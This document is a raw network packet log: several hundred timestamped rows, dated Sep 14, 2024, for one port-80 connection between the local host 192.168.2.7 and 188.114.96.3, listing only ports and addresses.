Sep 14, 2024 18:44:28.767474890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767491102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767498970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767510891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.767518044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.767550945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.822773933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822812080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822828054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822866917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822876930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.822884083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822901011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822916985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822932005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.822933912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.822983027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.822983027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.848886967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.848963022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.848977089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849000931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849015951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849031925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849046946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849059105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849107981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849148989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849164009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849176884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849193096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849209070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849221945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849258900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849276066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849292040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849306107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849317074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849318981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849337101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849363089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849515915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849564075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849596977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849612951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849710941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849744081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849776983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849805117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849808931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849823952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849879980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849909067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849941969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.849960089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.849993944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850011110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.850025892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850059032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850071907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.850091934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850126028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850136042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.850155115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.850199938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.851687908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851720095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851752043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851769924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.851824045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851855993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851872921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.851888895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851938963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.851943970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.851972103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852004051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852016926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852055073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852087021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852102041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852135897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852168083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852201939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852215052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852236032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852246046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852287054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852315903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852333069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852349043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852382898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852396965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852428913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852462053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852477074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852529049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852562904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852608919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852622986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852643013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852674007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852678061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852706909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852755070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852756023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852787971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852821112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852847099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852854013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852874041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852885962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852930069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.852935076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852967978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.852999926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853020906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853032112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853070021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853082895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853116989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853147984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853163004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853178978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853214025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853229046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853244066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853275061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853291035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853308916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853341103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853357077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853373051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853404999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853418112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853437901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853471041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853497982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853502989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853564978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853599072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853600025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853638887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853648901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853674889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853715897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853720903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853754997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853786945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853795052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853837967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853871107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853887081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853905916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853934050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853952885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.853965998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.853998899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854011059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854027987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854063988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854073048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854099035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854130030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854156971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854163885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854197025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854211092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854248047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854279995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854295015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854314089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854345083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854355097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854382992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854415894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854427099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854501963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854535103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854547977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854568005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854598999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854610920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854633093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854662895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854685068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.854696989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854731083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.854764938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.908550024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.909619093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909703016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909738064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909765959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.909769058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909805059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909854889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909857988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.909890890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909898996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.909920931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.909962893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.935920000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.935947895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.935964108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.935978889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.935996056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936002970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936011076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936028957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936069012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936141968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936151028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936157942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936176062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936208010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936240911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936256886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936273098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936285019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936285973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936312914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936594963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936619997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936634064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936645985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936676979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936752081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936767101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936781883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936811924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936841011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936856985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936872005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936885118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936889887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936918020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.936970949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.936986923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.937002897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.937011003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.937017918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.937047005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.938894987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.938920975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.938935995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.938960075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.938976049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939028025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939042091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939057112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939071894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939085007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939172983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939214945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939270020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939292908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939328909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939419031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939435959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939450979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939464092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939466953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939491034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939587116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939605951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939623117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939636946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939651966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939666986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939682007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939694881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939696074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939694881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939709902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939716101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939754009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.939912081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939937115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939961910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939975977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.939991951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940006018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940013885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940022945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940037966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940038919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940069914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940083981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940114975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940131903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940145969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940160990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940172911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940176010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940191984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940193892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940210104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940223932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940238953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940243006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940254927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940269947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940270901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940289021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940299034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940326929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940655947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940670013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940742016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940805912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940821886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940836906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940850973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940875053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940876961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940891027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940905094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940907001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940922976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940933943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940938950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940956116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940969944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940984964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.940995932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.940999985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941015959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941019058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941031933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941047907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941056967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941066027 CEST	80	54891	188.114.96.3	192.168.2.7
